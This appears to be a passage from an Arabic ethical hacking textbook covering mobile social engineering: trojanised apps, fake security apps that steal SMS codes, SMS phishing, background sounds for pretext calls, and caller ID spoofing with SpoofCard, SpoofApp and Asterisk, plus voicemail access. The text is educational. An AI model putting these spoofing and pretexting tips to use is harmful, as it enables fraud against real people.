‫واﻷﻟﻌﺎب‪ ،‬ﻓﺎن اﻟﺑﺎﻋﺔ ﻗﺎﻣوا ﺑﺈﻧﺷﺎء ﻣﻧﺻﺔ اﻷﺳواق اﻟﻣرﻛزﯾﺔ‪ .‬وﻋﺎدة ﻣﺎ ﯾﺗم ﺗﻘدﯾم اﻟﺗطﺑﯾﻘﺎت واﻷﻟﻌﺎب اﻟﺗﻲ ﯾﺗم ﺗطوﯾرھﺎ ﻣن ﻗﺑل اﻟﻣطورﯾن ﻟﮭذه‬
‫اﻷﺳواق‪ ،‬ﻣﻣﺎ ﯾﺟﻌﻠﮭﺎ ﻣﺗﺎﺣﺔ ﻟﻶﻻف ﻣن ﻣﺳﺗﺧدﻣﻲ اﻟﮭواﺗف اﻟﻣﺗﺣرﻛﺔ‪ .‬ﻻ ﯾﺳﺗﺧدم ھذا اﻟﺗطﺑﯾﻖ اﻷﻟﻌﺎب ﻓﻘط ﻣن ﻗﺑل اﻟﻣﺳﺗﺧدﻣﯾن اﻟﺷرﻋﯾﯾن‪،‬‬
‫وﻟﻛن أﯾﺿﺎ ﻣن ﻗﺑل اﻟﻧﺎس اﻟﺧﺑﯾﺛﺔ‪ .‬اﻟﻣطور اﻟﺧﺑﯾث ﯾﻘوم ﺑﺗﺣﻣﯾل اﻟﻠﻌﺑﺔ اﻟﻣﺷروﻋﺔ وﻣن ﺛم إﻋﺎدة ﻛﺗﺎﺑﺗﮭﺎ ﻣﻊ اﻟﺑرﻣﺟﯾﺎت اﻟﺧﺑﯾﺛﺔ وﺗﺣﻣﯾل اﻟﻠﻌﺑﺔ‬
‫ﻣرة أﺧرى اﻟﻰ اﻟﺳوق ﺣﯾث ﯾﻘوم اﻟﻣﺳﺗﺧدم اﻟﻧﮭﺎﺋﻲ ﺑﺗﺣﻣﯾل ھذا اﻟﺗطﺑﯾﻖ اﻟﺧﺑﯾث‪ .‬وﻧﺗﯾﺟﺔ ﻟذﻟك‪ ،‬ﯾﺣﺻل ﻋﻠﻰ ﺗﺛﺑﯾت ﺑرﻧﺎﻣﺞ ﺧﺑﯾث ﻋﻠﻰ ﺟﮭﺎز‬
‫اﻟﮭﺎﺗف اﻟﻧﻘﺎل ﻟﻠﻣﺳﺗﺧدم‪ ،‬واﻟذي ﯾﻘوم ﺑﺟﻣﻊ ﻣﻌﻠوﻣﺎت اﻟﻣﺳﺗﺧدم‪ ،‬وإرﺳﺎﻟﮫ إﻟﻰ اﻟﻣﮭﺎﺟم‪.‬‬

‫‪Fake Security Applications‬‬

‫اﻟﺗطﺑﯾﻘﺎت اﻟﺧﺎﺻﺔ ﺑﺎﻷﻣن اﻟوھﻣﯾﺔ ھو أﺳﻠوب واﺣد ﯾﺳﺗﺧدم ﻣن ﻗﺑل اﻟﻣﮭﺎﺟﻣﯾن ﻷداء اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ اﻟﻘﺎﺋﻣﺔ ﻋﻠﻰ اﻟﻧﻘﺎل‪ .‬ﻟﺗﻧﻔﯾذ ھذا‬
‫اﻟﮭﺟوم‪ ،‬اﻟﻣﮭﺎﺟم اﻷول ﯾﺻﯾب ﺟﮭﺎز ﻛﻣﺑﯾوﺗر اﻟﺿﺣﯾﺔ ﻋن طرﯾﻖ ارﺳﺎل ﺷﻲء ﺿﺎر‪ .‬ﻋﻧدﻣﺎ ﯾﺳﺟل اﻟﺿﺣﯾﺔ ﻋﻠﻰ ﺣﺳﺎب ﻣﺻرﻓﻲ ﻟﮫ‪ ،‬ﻓﺎن‬
‫اﻟﺑرﻣﺟﯾﺎت اﻟﺧﺑﯾﺛﺔ ﻓﻲ اﻟﻧظﺎم ﺗﻌرض ﻧﺎﻓذة رﺳﺎﻟﺔ ﺗﻘول ﻟﻠﺿﺣﯾﺔ اﻧﮫ ﯾﺣﺗﺎج ﻟﺗﻧزﯾل ﺗطﺑﯾﻖ ﻋﻠﻰ ھﺎﺗﻔﮫ ﻣن أﺟل ﺗﻠﻘﻲ اﻟرﺳﺎﺋل اﻷﻣﻧﯾﺔ‪ .‬اﻟﺿﺣﯾﺔ‬
‫ﯾﻌﺗﻘد أﻧﮭﺎ رﺳﺎﻟﺔ ﺣﻘﯾﻘﯾﺔ وﯾﻘوم ﺑﺗﺣﻣﯾل اﻟﺗطﺑﯾﻖ ﻋﻠﻰ ھﺎﺗﻔﮫ‪ .‬ﺑﻣﺟرد ﺗﺣﻣﯾل اﻟﺗطﺑﯾﻖ‪ ،‬ﯾﻣﻛن ﻟﻠﻣﮭﺎﺟم اﻟوﺻول إﻟﻰ ﻋﺎﻣل اﻟﻣﺻﺎدﻗﺔ اﻟﺛﺎﻧﻲ اﻟﺗﻲ‬
‫أرﺳل ﻣن ﻗﺑل اﻟﺑﻧك ﻟﻠﺿﺣﯾﺔ ﻋن طرﯾﻖ ‪ .SMS‬وھﻛذا‪ ،‬ﻓﺈن اﻟﻣﮭﺎﺟم ﯾﻛﺳب اﻟوﺻول إﻟﻰ ﺣﺳﺎب ﻣﺻرﻓﻲ اﻟﺿﺣﯾﺔ ﻋن طرﯾﻖ ﺳرﻗﺔ أوراق‬
‫اﻋﺗﻣﺎد اﻟﺿﺣﯾﺔ )اﺳم اﻟﻣﺳﺗﺧدم وﻛﻠﻣﺔ اﻟﻣرور(‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪980‬‬

‫‪Using SMS‬‬
‫‪ SMS‬ھو أﺳﻠوب آﺧر ﯾﺳﺗﺧدم ﻷداء اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ اﻟﻘﺎﺋﻣﺔ ﻋﻠﻰ اﻟﻧﻘﺎل‪ .‬اﻟﻣﮭﺎﺟم ﻓﻲ ھذا اﻟﮭﺟوم ﯾﺳﺗﺧدم ‪ SMS‬ﻣن أﺟل اﻟﺣﺻول ﻋﻠﻰ‬
‫ﻣﻌﻠوﻣﺎت ﺣﺳﺎﺳﺔ‪ .‬دﻋوﻧﺎ ﻧﻌﺗﺑر ان ﺗرﯾﺳﻲ‪ ،‬ھو ﻣﮭﻧدس اﻟﺑرﻣﺟﯾﺎت ﻓﻲ ﺷرﻛﺔ ﻣﺣﺗرﻣﺔ‪ .‬وأﻧﮫ ﺗﻠﻘﻰ رﺳﺎﻟﺔ ﻧﺻﯾﺔ ‪ SMS‬ظﺎھرﯾﺎ ﻣن ﻗﺳم اﻷﻣن‬
‫ﻓﻲ اﻟﺑﻧك ‪ .XIM‬وھو ﯾدﻋﻲ أن ﻋﻠﻰ ﻋﺎﺟﻠﺔ وﺗﻘول اﻟرﺳﺎﻟﺔ ان ﯾﺟب ﻋﻠﻰ ﺗرﯾﺳﻲ اﻻﺗﺻﺎل ﺑرﻗم اﻟﮭﺎﺗف )‪ (1101-709-540-1‬ﻋﻠﻰ اﻟﻔور‪.‬‬
‫ﻓﺈﻧﮭﺎ ﺗﺻﺑﺢ ﻗﻠﻘﺎ‪ ،‬وﺗﻘوم ﺑﺎﻻﺗﺻﺎل ﻟﻼطﻣﺋﻧﺎن ﻋﻠﻰ ﺣﺳﺎﺑﮭﺎ‪ .‬اﻧﮭﺎ ﺗﻘوم ﺑﺎﻻﺗﺻﺎل ﺑﺎﻟرﻗم اﻟذي ﺗﻌﺗﻘد اﻧﮫ رﻗم ﺧدﻣﺔ اﻟﻌﻣﻼء اﻟﺑﻧك ‪ XIM‬وأﻧﮫ ﯾﻘوم‬
‫ﺑﺗﺳﺟﯾل ﻣﺎ ﯾطﻠب ﻣﻧﮭﺎ ﻣن ﺗﻘدﯾم ﺑطﺎﻗﺔ اﻻﺋﺗﻣﺎن ﻟﮭﺎ أو رﻗم اﻟﺑطﺎﻗﺔ وﻛذﻟك ﻛﻠﻣﺔ اﻟﻣرور‪ .‬ﺗرﯾﺳﻲ ﺗﺷﻌر أﻧﮭﺎ رﺳﺎﻟﺔ ﺣﻘﯾﻘﯾﺔ وﺗﻛﺷف ﻋن‬
‫ﻣﻌﻠوﻣﺎت ﺣﺳﺎﺳﺔ إﻟﻰ ﺗﺳﺟﯾل ﻣزور‪.‬‬
‫أﺣﯾﺎﻧﺎ ﺗزﻋم اﻟرﺳﺎﻟﺔ أن اﻟﻣﺳﺗﺧدم ﻗد ﻓﺎز ﺑﺑﻌض اﻟﻣﺑﻠﻎ أو ﺗم اﺧﺗﯾﺎره ﺑﺎﻋﺗﺑﺎره اﻟﻔﺎﺋز‪ ،‬اﻧﮭﺎ ﺗﺣﺗﺎج ﻓﻘط ﻟدﻓﻊ ﻣﺑﻠﻎ رﻣزي وﺗﻧﻘل ﻟﮫ ‪ ID‬اﻟﺑرﯾد‬
‫اﻹﻟﻛﺗروﻧﻲ‪ ،‬ورﻗم اﻻﺗﺻﺎل‪ ،‬أو ﻏﯾرھﺎ ﻣن اﻟﻣﻌﻠوﻣﺎت اﻟﻣﻔﯾدة‪.‬‬

‫‪Environmental Sounds‬‬

‫ﻗﺑل إﺟراء ﻣﻛﺎﻟﻣﺔ إﻟﻰ اﻟﮭدف اﻟﻣﺣدد‪ ،‬ﯾﻧﺑﻐﻲ اﻟﻧظر ﺑﻌﻧﺎﯾﺔ ﻓﯾﻣﺎ ﯾﺗﻌﻠﻖ ﺑﺎﻟذرﯾﻌﺔ اﻟﻣﺳﺗﺧدﻣﺔ‪ .‬ﻣﺎ ھو ﻧوع اﻟﺑﯾﺋﺔ اﻟﺗﻲ ﻋﺎدة ﺗﻘوم ﻣﻧﮭﺎ ﺑﺎﻟﻣﻛﺎﻟﻣﺔ؟ ﻣن‬
‫ﺷﺄن ﻣﻧدوب اﻟﻣﺑﯾﻌﺎت اﻟﺳﻔر وإﺟراء اﻟﻣﻛﺎﻟﻣﺔ ﻣن ﺳﯾﺎرة ﻣﺗﺣرﻛﺔ أو ﻋﺎﻣل ﻣﻛﺗب ﻣﺳﺎﻋد ﻣن ﻣرﻛز اﺗﺻﺎل ﻣﺷﻐول‪ .‬ﻓﻣن اﻟﺿروري ﻓﻲ ﻛﺛﯾر‬
‫ﻣن اﻷﺣﯾﺎن ﺗﻘﻠﯾد أﺻوات اﻟﺧﻠﻔﯾﺔ ھذه ﻟﺿﻣﺎن أن أي ﺣﯾﻠﺔ ﻟﻠﺗﺻدﯾﻖ‪ .‬ﻛﯾف ﯾﻣﻛن ﺗﺣﻘﯾﻖ ذﻟك؟ ﺣﺳﻧﺎ‪ ،‬ﻛﻠﻣﺎ ﻛﺎن ذﻟك ﻣﻣﻛﻧﺎ ﻟﻣﺎذا ﻻ ﺗﺧﺗﺎر ﺷﻲء‬
‫ﺣﻘﯾﻘﻲ؟ ﻣﺛل ﺻوت دﺧول اﻟﺳﯾﺎرة‪ ،‬ﻓﻘط ﺗﺄﻛد اﻧﮭﺎ ﻓﻌﻠت ﺑﺄﻣﺎن وﻗﺎﻧوﻧﯾﺎ!‬
‫أﯾﻧﻣﺎ أﻧﮫ ﻣن ﻏﯾر اﻟﻣﻣﻛن اﻟﺣﺻول ﻋﻠﻰ اﻟﺷﻲء اﻟﺣﻘﯾﻘﻲ‪ ،‬ﻓﮭﻧﺎك اﻟﺣﺎﺟﺔ إﻟﻰ اﻟﻧﮭﺞ اﻹﺑداﻋﻲ‪ .‬ھذا ﯾﻣﻛن أن ﯾﻌﻧﻲ ﻓﻲ ﻛﺛﯾر ﻣن اﻷﺣﯾﺎن ﺗﺟﻧﯾد‬
‫اﻟﻧﺎس ﻣن ﺣوﻟك أن ﺗﻠﻌب دورا ﻓﻲ اﻟﺳﯾﻧﺎرﯾو‪ .‬ﯾﻣﻛن أﯾﺿﺎ أن ﺗﻌﻧﻲ ﺗﺣﻣﯾل اﻟﻣﺳﺎرات اﻟﺻوﺗﯾﺔ واﻟﻠﻌب ﺑﮭﺎ ﻓﻲ اﻟﺧﻠﻔﯾﺔ‪ .‬ﻓﻘط ﻛن ﺣذرا ﻓﻲ ھذه‬
‫اﻟﺟﺑﮭﺔ‪ ،‬إذا ﻛﺎن ﻣﻠف اﻟﺻوت ھذا ﯾﻧﺗﮭﻲ ﻓﻲ ﻣﻧﺗﺻف اﻟطرﯾﻖ ﻣن ﺧﻼل اﻟﻣﻛﺎﻟﻣﺔ‪ ،‬ﻓﺈﻧك ﺳﺗﻛون ﻋﻠﻰ اﺳﺗﻌداد ﻟﻠﺗﻔﻛﯾر‪ .‬ﻓﻣن اﻷﻓﺿل ﺿﻣﺎن‬
‫اﻟﺗﺄﻛد ﻣن أن اﻟدﻋﺎﺋم اﻟﺻوت ﻗد ﺗم ﻓﺣﺻﮭﺎ ﺑدﻗﺔ ﻗﺑل اﻟﻣﻛﺎﻟﻣﺔ‪.‬‬
‫ﻟﻣﺎذا ﻻ ﺗﺣﻘﻖ ﻣن ‪ ./http://www.freesound.org‬ﺣﯾث ﯾﺗم ﺗوﻓﯾر ﺟﻣﯾﻊ اﻷﺻوات اﻟﺗﻲ ﺗم ﺗﺣﻣﯾﻠﮭﺎ ھﻧﺎ ﺗﺣت رﺧﺻﺔ اﻟﻣﺷﺎع اﻹﺑداﻋﻲ‪.‬‬
‫ھﻧﺎك اﻟﻛﺛﯾر ﻣن ﺧﻠﻔﯾﺎت اﻻﺻوات اﻟﻣﺧﺗﻠﻔﺔ ﻟﺗﻧﺎﺳب أي ﺳﯾﻧﺎرﯾو‪ .‬ﻣﻛﺗب اﻷﺻوات اﻟﻣﺣﯾطﺔ‪ ،‬اﻟﻣﻣرات‪ ،‬اﻟﺳﯾﺎرات‪ ،‬اﻷﺷﻐﺎل‪ .‬ﻋﻠﻰ اﻟرﻏم ﻣن‬
‫ھذا‪ ،‬ﺗذﻛر اﻟﺗﺣﻘﻖ ﻣن اﻟﻣﻠﻔﺎت ﻣن اﻟﺑداﯾﺔ اﻟﻰ اﻟﻧﮭﺎﯾﺔ ﻗﺑل اﺳﺗﺧداﻣﮭﺎ‪ .‬أي ﺧطﺄ ﯾﻣﻛن أن ﯾﻛون ﻣﻛﻠﻔﺎ وﻣﺣرج‪.‬‬

‫‪Caller ID Spoofing‬‬
‫أﺻﺑﺣت ‪ Caller ID‬ﺗﻘﻧﯾﺔ ﺷﺎﺋﻌﺔ ﻓﻲ ﻛل ﻣن ﻗطﺎع اﻷﻋﻣﺎل واﻻﺳﺗﺧدام اﻟﻣﻧزﻟﻲ‪ .‬ﺧﺎﺻﺔ اﻵن ﻣﻊ اﻟﮭواﺗف اﻟﻣﺣﻣوﻟﺔ ﻣﻊ اﺳﺗﺑدال اﻟﻌدﯾد ﻣن‬
‫ﺧطوط اﻟﮭﺎﺗف اﻷرﺿﯾﺔ اﻟﺗﻲ ﯾﺳﺗﺧدﻣﮭﺎ اﻟﻧﺎس‪ ،‬ھوﯾﺔ اﻟﻣﺗﺻل ھو ﺟزء ﻣن اﻟﺣﯾﺎة اﻟﯾوﻣﯾﺔ‪ .‬وإدراﻛﺎ ﻟﮭذه اﻟﺣﻘﯾﻘﺔ‪ ،‬وﻛﯾﻔﯾﺔ اﺳﺗﺧدام ھذا ﻟﺻﺎﻟﺣك‬
‫أﻣر ﻻ ﺑد ﻣﻧﮫ ﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ اﻟﻧﺎﺟﺢ‪.‬‬
‫اﻧﺗﺣﺎل ھوﯾﺔ اﻟﻣﺗﺻل أﺳﺎﺳﺎ ھو ﺗﻐﯾﯾر اﻟﻣﻌﻠوﻣﺎت اﻟﺗﻲ ﺗظﮭر ﻋﻠﻰ اﻟﺷﺎﺷﺔ ھوﯾﺔ اﻟﻣﺗﺻل اﻟﮭدف‪ .‬وﺑﻌﺑﺎرة أﺧرى‪ ،‬ﻟو ﻛﻧت وﺿﻊ ﻣﻛﺎﻟﻣﺔ ﻣن‬
‫رﻗم واﺣد‪ ،‬ﯾظﮭر ﻋدد ﻣﺧﺗﻠف ﻣن ھوﯾﺔ اﻟﻣﺗﺻل ﻋﻠﻰ اﻟﮭدف‪.‬‬
‫طرﯾﻘﺔ واﺣدة ﻟﻼﺳﺗﻔﺎدة ﻣن ھذه اﻟﻣﻌﻠوﻣﺎت ھو ﻣﺣﺎﻛﺎة اﻟرﻗم اﻟذي وﺟدﺗﮫ ﻣﺛﻼ ﻓﻲ اﻟﻘﻣﺎﻣﺔ ﻣن ﺑﺎﺋﻊ ﯾﺳﺗﺧدﻣﮭﺎ‪ .‬إذا وﺟد اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ أﻧﮫ‬
‫ﯾﺳﺗﺧدم ‪ ABC Tech‬ﻣن أﺟل دﻋم اﻟﻛﻣﺑﯾوﺗر‪ ،‬ﻓﺎن اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﯾﻣﻛن ان ﯾﺟد رﻗﻣﮫ‪ ،‬وﻣن ﺛم ﺗزﯾف ھذا اﻟرﻗم ﻋﻧدﻣﺎ ﯾﺗم وﺿﻊ‬
‫ﻣﻛﺎﻟﻣﺔ ﻟﺗﺣدﯾد ﻣوﻋد ﺑﻌد اﻟظﮭر‪ .‬ﻋن طرﯾﻖ اﻧﺗﺣﺎل ھوﯾﺔ اﻟﻣﺗﺻل‪ ،‬ﯾﻣﻛﻧك "إﻧﺷﺎء" دﻋوات ﻣن اﻷﻣﺎﻛن اﻟﺗﺎﻟﯾﺔ‪:‬‬
‫‪ -‬ﻣﻛﺗب ﺑﻌﯾد‬
‫‪ -‬داﺧل اﻟﻣﻛﺗب‬
‫‪ -‬ﻣﻧظﻣﺔ ﺷرﯾﻛﺔ‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪981‬‬

‫‪ -‬ﺷرﻛﺔ اﻟﻣراﻓﻖ‪/‬اﻟﺧدﻣﺎت )اﻟﺳﻧﺗرال واﻟﻣﯾﺎه واﻹﻧﺗرﻧت‪ ،‬اﻟﻣﺑﯾد‪ ،‬وھﻠم ﺟرا(‬

‫‪ -‬اﻟﺷرﻛﺔ اﻟﺗﺳﻠﯾم‬
‫إذا ﻛﯾف ﯾﻣﻛﻧك ﺗزﯾف اﻟرﻗم؟ ﺗﻧﺎﻗش اﻟﻣﻘﺎطﻊ اﻟﺗﺎﻟﯾﺔ ﺑﻌض اﻷﺳﺎﻟﯾب واﻟﻣﻌدات اﻟﻣﺗوﻓرة ﻟﻠﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ واﻟﺗﻲ ﯾﻣﻛن اﺳﺗﺧداﻣﮭﺎ ﻟﺗزﯾف‬
‫أرﻗﺎم اﻟﺗﻠﯾﻔوﻧﺎت‪.‬‬
‫‪SpoofCard‬‬
‫إﺣدى اﻟطرق اﻷﻛﺛر ﺷﻌﺑﯾﺔ ﻣن ‪ caller ID spoofing‬وھو اﺳﺗﺧدام ‪ (http://www.spoofcard.com) SpoofCard‬ﺑﺎﺳﺗﺧدام واﺣدة‬
‫ﻣن ھذه اﻟﺑطﺎﻗﺎت‪ ،‬ﻓﺎﻧﮫ ﯾﻣﻛن اﻻﺗﺻﺎل ﺑﻌدد ‪ 800‬ﻋﻠﻰ اﻟﺑطﺎﻗﺔ اﻟواﺣدة‪ ،‬وإدﺧﺎل رﻗم اﻟﺗﻌرﯾف اﻟﺷﺧﺻﻲ اﻟﺧﺎص ﺑك‪ ،‬واﻟرﻗم اﻟذي ﺗرﯾده ﻋﻠﻰ‬
‫ھوﯾﺔ اﻟﻣﺗﺻل ﻋﻠﻰ اﻟﺷﺎﺷﺔ‪ ،‬ﺛم اﻟرﻗم اﻟذي ﺗرﯾد اﻻﺗﺻﺎل ﺑﮫ‪.‬‬
‫ﺑﻌض اﻟﻣﯾزات اﻟﺟدﯾدة ﻠﻠ ‪ SpoofCard‬ﺗوﻓر ﻟك اﻟﻘدرة ﻋﻠﻰ ﺗﺳﺟﯾل اﻟﻣﺣﺎدﺛﺔ اﻟﮭﺎﺗﻔﯾﺔ وﻗﻧﺎع ﺻوﺗك أن ﯾﻛون ذﻛرا أو أﻧﺛﻰ‪ .‬ھذه اﻟﻣﯾزات‬
‫ﺗﻌظم اﻟﻘدرة ﻋﻠﻰ إﺧﻔﺎء ھوﯾﺔ اﻟﻣﺗﺻل وﺧداع اﻟﮭدف ﻓﻲ إﻓﺷﺎء اﻟﻣﻌﻠوﻣﺎت اﻟﺗﻲ ﯾﺳﻌﻰ اﻟﯾﮭﺎ اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ‪.‬‬
‫ﻋﻠﻰ اﻟﺟﺎﻧب اﻻﯾﺟﺎﺑﻲ‪ SpoofCard ،‬ﺳﮭل اﻻﺳﺗﺧدام‪ ،‬ﻓﺈﻧﮫ ﻻ ﯾﺣﺗﺎج إﻟﻰ أﺟﮭزة إﺿﺎﻓﯾﺔ أو ﺑراﻣﺞ أﺧرى ﻣن اﻟﮭﺎﺗف اﻟﺧﺎص ﺑك‪ ،‬وأﺛﺑت‬
‫اﻟﺧدﻣﺔ ﻣﻊ اﻵﻻف ﻣن اﻟﻌﻣﻼء‪ .‬اﻟﺳﻠﺑﯾﺔ اﻟﺣﻘﯾﻘﯾﺔ اﻟوﺣﯾدة ﻠ ‪SpoofCard‬ھﻲ اﻟﺗﻛﻠﻔﺔ اﻟﺗﻲ ﯾﻧطوي ﻋﻠﯾﮭﺎ ﻟﺷراﺋﮫ‪.‬‬
‫‪SpoofApp‬‬
‫ﻣﻊ ھذا اﻟﻌدد اﻟﻛﺑﯾر ﻣن اﻷﺷﺧﺎص اﻟذﯾن ﯾﺳﺗﺧدﻣون اﻟﮭواﺗف اﻟذﻛﯾﺔ ﻣﺛل اي ﻓون‪ ،‬أﻧدروﯾد‪ ،‬ﺑﻼك ﺑﯾري ﻓﮭﻧﺎك اﻟﻌدﯾد ﻣن اﻟﺗطﺑﯾﻘﺎت اﻟﺗﻲ ﺗم‬
‫إﻧﺷﺎؤھﺎ ﻟﻠﻣﺳﺎﻋدة ﻓﻲ اﻧﺗﺣﺎل ھوﯾﺔ اﻟﻣﺗﺻل‪ SpoofApp .‬ﯾﺳﺗﺧدم ‪) SpoofCards‬اﻧظر اﻟﻘﺳم اﻟﺳﺎﺑﻖ( وﻟﻛن ﯾﻘوم ﺑﺗﺣزﯾم اﻟﻣﻣﯾزات ﻓﻲ‬
‫ﺣزﻣﺔ ﻋﻠﻰ ھﺎﺗﻔك اﻟﺧﻠوي‪.‬‬
‫ﺑدﻻ ﻣن اﻻﺿطرار إﻟﻰ اﻻﺗﺻﺎل ﺑرﻗم اﻟﮭﺎﺗف اﻟﻣﺟﺎﻧﻲ ﯾﻣﻛﻧك ﺑﺑﺳﺎطﺔ إدﺧﺎل اﻟرﻗم اﻟذي ﺗرﯾد اﻻﺗﺻﺎل ﺑﮫ ﻓﻲ اﻟﺗطﺑﯾﻖ‪ ،‬ﺛم أدﺧﺎل اﻟرﻗم اﻟذي‬
‫ﺗرﯾد ﻋرﺿﮫ‪ ،‬و‪ SpoofApp‬ﺗوﺻﻠك إﻟﻰ اﻟﮭدف ﻟﻌرض اﻟﻣﻌﻠوﻣﺎت اﻟﺗﻲ طﻠﺑﺗﮭﺎ ﻣن اﻟﮭدف‪ .‬ﻛل ھذا ﺑﺳﯾط ﻣﺛل ﻧﻘرة زر واﺣدة‪.‬‬
‫‪Asterisk‬‬
‫إذا ﻛﺎن ﻟدﯾك ﺟﮭﺎز ﻛﻣﺑﯾوﺗر اﺣﺗﯾﺎطﻲ وﺧدﻣﺔ اﻟﺻوت ﻋﺑر اﻹﻧﺗرﻧت ‪ VOIP‬ﯾﻣﻛﻧك أﯾﺿﺎ اﺳﺗﺧدام ﻣﻠﻘم ‪ Asterisk‬ﻟﺗزﯾف ھوﯾﺔ اﻟﻣﺗﺻل‪.‬‬
‫ﯾﻣﻛﻧك أن ﺗﺟد ﺑﻌض اﻟﻣﻌﻠوﻣﺎت ﺣول ھذا اﻷﺳﻠوب ﻣن ﺧﻼل اﻟراﺑط اﻟﺗﺎﻟﻰ‪:‬‬
‫‪http://www.social-engineer.org/wiki/archives/CallerIDspoofing/CallerID-SpoofingWithAsterisk.html‬‬
‫ﺧﺎدم ‪ Asterisk‬ھﻲ ﻣﺷﺎﺑﮭﺔ ﺟدا ﻓﻲ ﻋﻣﻠﮫ ﻣﺛل ‪ .SpoofCard‬ﻓﻲ ﺣﺎﻟﺔ‪ ،‬إﻧك ﺗﻣﻠك اﻟﺧﺎدم‪ .‬ﻓﮭذا ﯾﺳﻣﺢ ﺑﻣزﯾد ﻣن اﻟﺣرﯾﺔ وﻟﯾس ھﻧﺎك ﺧوف‬
‫ﻣن اﻟﺗﻌرض ﻟﻠﻘطﻊ أو ﻧﻔﺎذ اﻟدﻗﺎﺋﻖ‪.‬‬
‫اﻟﺟواﻧب اﻹﯾﺟﺎﺑﯾﺔ ﻣن ‪ Asterisk‬ھﻲ أﻧﮫ ﻣﺟﺎﻧﺎ‪ ،‬ﺳﮭﻠﺔ اﻻﺳﺗﺧدام وﻣرﻧﺔ ﺑﻌد اﻹﻋداد‪ ،‬وأﻧت وﺣدك ﺗﺳﯾطر ﻋﻠﯾﮫ‪ .‬وﻣن اﻟﺳﻠﺑﯾﺎت إﻧك ﺗﺣﺗﺎج‬
‫اﻟﻰ ﺟﮭﺎز ﻛﻣﺑﯾوﺗر إﺿﺎﻓﻲ أو ‪ ،VM‬ﻣطﻠوب ﻣﻌرﻓﺔ ﻟﯾﻧﻛس‪ ،‬وﻓﻲ ﺣﺎﺟﺔ اﻟﻰ ﻣزود ﺧدﻣﺔ اﻻﺗﺻﺎﻻت ﻋﺑر ﺑروﺗوﻛول اﻹﻧﺗرﻧت ‪VOIP‬‬
‫اﻟﺣﺎﻟﻲ‪ .‬ﺟزء ﻛﺑﯾر ﺣول ھذا اﻟﺧﯾﺎر ھو أن ﺟﻣﯾﻊ اﻟﻣﻌﻠوﻣﺎت ﻋن اﻟﻣﺗﺻل واﻟﺷﺧص ﺗﻘﻊ ﻋﻠﻰ ﻋﺎﺗﻖ اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ‪ .‬اﻟﺑﯾﺎﻧﺎت اﻟﺷﺧﺻﯾﺔ‬
‫واﻟﺣﺳﺎﺑﺎت ﻟﯾﺳت ﻓﻲ ﯾد طرف ﺛﺎﻟث‪.‬‬
‫‪Voicemail‬‬
‫واﺣدة ﻣن أﻛﺛر اﻟﮭﺟﻣﺎت اﻟرﺋﯾﺳﯾﺔ اﻟﺗﻲ ﯾﻣﻛن إطﻼﻗﮭﺎ ﺑﺎﺳﺗﺧدام رﻗم اﻟﮭﺎﺗف اﻟﺧﻠﯾوي ﺑﺎﻟﺗﺣﺎﯾل ھو اﻻﺳﺗﻣﺎع إﻟﻰ اﻟﺑرﯾد اﻟﺻوﺗﻲ‪ .‬ﻛﺛﯾر ﻣن‬
‫اﻟﻧﺎس ﺗﺷﻐﯾل ﻣﯾزة ﺗﺳﻣﺢ ﻟﮭم ﺑﺎﻟدﺧول اﻟﻰ اﻟﺑرﯾد اﻟﺻوﺗﻲ دون اﻟﺣﺎﺟﺔ إﻟﻰ إدﺧﺎل ﻛﻠﻣﺔ ﻣرور‪ .‬إذا ﺣﺻل اﻟﻣﮭﺎﺟم ﻋﻠﻰ اﻟرﻗم اﻟﮭﺎﺗف اﻟﺧﻠﯾوي‬
‫ﻟﻠﺿﺣﺎﯾﺎ واﻧﺗﺣﺎﻟﮫ‪ ،‬ﻓﺎن ﻧظم اﻟﺑرﯾد اﻟﺻوﺗﻲ ﻟﻠﻌدﯾد ﻣن اﻟﺷرﻛﺎت اﻟرﺋﯾﺳﯾﺔ ﺳﯾﺳﻣﺢ ﻟﮭم ﺑﺎﻟوﺻول إﻟﻰ ھذا اﻟﺑرﯾد اﻟﺻوﺗﻲ واﻻﺳﺗﻣﺎع إﻟﻰ‬
‫اﻟرﺳﺎﺋل اﻟﻣﺣﻔوظﺔ‪ .‬وھذا ﯾﻣﻛن‪ ،‬ﺑﺎﻟطﺑﻊ‪ ،‬اﻹﻓراج ﻋن ﻣﺳﺎﺋل ھﺎﻣﺔ ﺟدا ً وﺳرﯾﺔ ﻟﻠﻣﮭﺎﺟم‪.‬‬
‫‪Unmasking Caller ID‬‬
‫ﻋﻠﻰ اﻟﺟﺎﻧب اﻵﺧر ﻣن ھوﯾﺔ اﻟﻣﺗﺻل ﺑﺎﻟﺗﺣﺎﯾل‪ ،‬ھﻧﺎك ﺑﻌض اﻟطرق ﻟﻣﺳﺎﻋدﺗك ﻓﻲ اﻟﻌﺛور ﻋﻠﻰ اﻟﻣﺻدر اﻟﻔﻌﻠﻲ ﻹﺟراء ﻣﻛﺎﻟﻣﺔ‪ .‬أﻋطﻰ ﻣﯾﺗﻧﯾك‬
‫ﻛﯾﻔﯾن ﺣدﯾث ﻓﻲ "اﻷﻣل اﻷﺧﯾر" اﻟذي ﯾوﺿﺢ أﺳﻠوب "ﻓﺿﺢ ﻣﻌرف اﻟﻣﺗﺻل"‪ .‬اﻟﺣدﯾث ﻋن "ﻓﺿﺢ ھوﯾﺔ اﻟﻣﺗﺻل" ﯾﺑدأ ﻓﻲ ﺣواﻟﻲ ‪ 25‬دﻗﯾﻘﺔ‬
‫ﻓﻲ اﻟﻔﯾدﯾو‪.‬‬

‫‪Common Social Engineering Targets and Defense Strategies‬‬

